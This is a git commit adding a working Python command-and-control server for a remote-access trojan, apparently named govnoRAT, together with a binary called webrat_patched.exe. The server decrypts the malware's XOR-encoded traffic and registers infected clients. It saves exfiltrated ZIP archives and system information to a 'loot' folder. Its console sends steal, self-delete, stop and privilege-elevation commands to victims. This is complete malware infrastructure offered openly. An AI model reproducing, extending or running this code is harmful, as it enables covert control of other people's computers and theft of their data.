commit 2546ad3e41ac80f8de7c26bf93422d5f27c50d57 Author: i2p Date: Thu Aug 27 11:23:32 2026 -0600 initial commit diff --git a/server.py b/server.py new file mode 100644 index 0000000..f29d6a8 --- /dev/null +++ b/server.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 + +import asyncio +import base64 +import json +import hashlib +import os +import sys +import threading +import uuid +from datetime import datetime +from pathlib import Path +from aiohttp import web + +HOST = "0.0.0.0" +PORT = 80 +LOOT_DIR = Path("loot") +LOOT_DIR.mkdir(exist_ok=True) + +def rolling_xor_decode(data): + result = bytearray(data) + for i in range(len(result) - 1, 0, -1): + result[i] ^= result[i - 1] + return bytes(result) + +def rolling_xor_encode(data): + result = bytearray(data) + for i in range(1, len(result)): + result[i] ^= result[i - 1] + return bytes(result) + +def xor_with_key(data, key): + return bytes(data[i] ^ key[i % len(key)] for i in range(len(data))) + +XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c") + +def decrypt_mode5(data): + """ + Mode 5 = XOR_key -> Rolling_Encode + decrypt = Rolling_Decode -> XOR_key + """ + step1 = rolling_xor_decode(data) + step2 = xor_with_key(step1, XOR_KEY) + return step2 + +def encrypt_mode5(data): + step1 = xor_with_key(data, XOR_KEY) + step2 = rolling_xor_encode(step1) + return step2 + +def prepare_mode5_response(plaintext): + return decrypt_mode5(plaintext) + +pending_command = None +clients = {} + +def log(msg, level="INFO"): + timestamp = datetime.now().strftime("%H:%M:%S") + colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"} + print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m") + +def save_important(client_id, data_type, data, ext="bin"): + client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_") + client_dir.mkdir(exist_ok=True) + + timestamp = datetime.now().strftime("%H%M%S") + filepath = client_dir / f"{timestamp}_{data_type}.{ext}" + + mode = "w" if isinstance(data, str) else "wb" + with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f: + f.write(data) + + log(f"SAVED: {filepath}", "WARN") + return filepath + +async def handle_request(request): + global pending_command + + client_ip = request.remote + data = await request.read() + + if not data: + return web.Response(text="OK") + + # Decrypt + request_type = "1" + hwid = "" + + try: + decrypted = decrypt_mode5(data) + + if decrypted[:2] == b'PK': + log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN") + save_important(client_ip, "STOLEN_DATA", decrypted, "zip") + return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream") + + try: + req = json.loads(decrypted) + # Debug: show raw request for type 6 + if str(req.get("1", "")) == "6": + log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA") + request_type = str(req.get("1", "1")) + hwid = req.get("k", req.get("2", "")) + + if request_type not in ["1", "2", "5", "7"]: + log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA") + + if hwid and hwid not in clients: + clients[hwid] = {"ip": client_ip, "first": datetime.now()} + log(f"NEW CLIENT: {hwid}", "WARN") + + if request_type == "5" and "3" in req: + sysinfo = req["3"] + log(f"SYSINFO: {sysinfo[:100]}...", "WARN") + save_important(client_ip, "sysinfo", sysinfo, "json") + + if request_type == "6" and "3" in req: + try: + stolen_b64 = req["3"] + log(f"Base64 length: {len(stolen_b64)}", "DATA") + stolen_data = base64.b64decode(stolen_b64) + log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN") + # Check if valid ZIP + if stolen_data[:2] == b'PK': + log(f"Valid ZIP file received!", "WARN") + save_important(client_ip, "STOLEN_DATA", stolen_data, "zip") + else: + log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA") + save_important(client_ip, "STOLEN_DATA", stolen_data, "bin") + except Exception as e: + log(f"Failed to decode stolen data: {e}", "ERROR") + + # Handle error/log (type 7) + if request_type == "7": + log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA") + + except json.JSONDecodeError: + log(f"Non-JSON data: {len(decrypted)} bytes", "DATA") + + except Exception as e: + log(f"Error: {e}", "ERROR") + + # Prepare response + if request_type == "1": + response = b'{"1":0,"2":50}' + log(f"[HEARTBEAT] OK", "CMD") + + elif request_type == "2": + if pending_command: + cmd = pending_command + pending_command = None + + task_id = str(uuid.uuid4())[:8] + if cmd == "9": + # STEAL needs "2" = path (00 default), "3" = taskid + response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode() + else: + response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode() + log(f">>> SENDING: {response.decode()} <<<", "WARN") + else: + response = b'{"1":""}' + + elif request_type == "5": + response = b'{"1":0,"2":0}' + + elif request_type == "6": + log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN") + response = b'1' + + elif request_type == "7": + response = b'{"1":0,"2":0}' + + else: + response = b'{"1":0,"2":0}' + + return web.Response( + body=prepare_mode5_response(response), + content_type="application/octet-stream" + ) + +def cli_thread(): + global pending_command + + print("\n" + "="*50) + print("https://t.me/neverliet_projects - Commands:") + print(" steal - Send STEAL command") + print(" stop - Stop malware") + print(" suicide - Self-delete malware") + print(" clients - Show clients") + print(" loot - Show loot") + print(" exit - Exit") + print("="*50 + "\n") + + while True: + try: + cmd = input("\033[94m[C2]>\033[0m ").strip().lower() + + if cmd == "steal": + pending_command = "9" + print(">>> STEAL command queued!") + elif cmd == "stop": + pending_command = "3" + print(">>> STOP command queued!") + elif cmd == "suicide": + pending_command = "4" + print(">>> SUICIDE command queued!") + elif cmd == "elevate": + pending_command = "b" + print(">>> ELEVATE command queued!") + elif cmd == "clients": + if clients: + for h, i in clients.items(): + print(f" {h}: {i['ip']}") + else: + print(" No clients yet") + elif cmd == "loot": + files = list(LOOT_DIR.rglob("*")) + if files: + for f in files: + if f.is_file(): + print(f" {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)") + else: + print(" No loot yet") + elif cmd == "exit": + os._exit(0) + elif cmd: + print(f"Unknown: {cmd}") + + except (KeyboardInterrupt, EOFError): + pass + +def main(): + print(f""" +╔════════════════════════════════════════════╗ +║ govnoRAT C2 SERVER ║ +║ Port: {PORT} ║ +║ Loot: ./loot/ ║ +╚════════════════════════════════════════════╝ +""") + + log(f"Starting on {HOST}:{PORT}", "INFO") + + app = web.Application(client_max_size=100*1024*1024) + app.router.add_route("*", "/{path:.*}", handle_request) + + cli = threading.Thread(target=cli_thread, daemon=True) + cli.start() + + try: + web.run_app(app, host=HOST, port=PORT, print=None) + except PermissionError: + log("Permission denied! Run as Administrator", "ERROR") + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/webrat_patched.exe b/webrat_patched.exe new file mode 100644 index 0000000..43dd69f Binary files /dev/null and b/webrat_patched.exe differ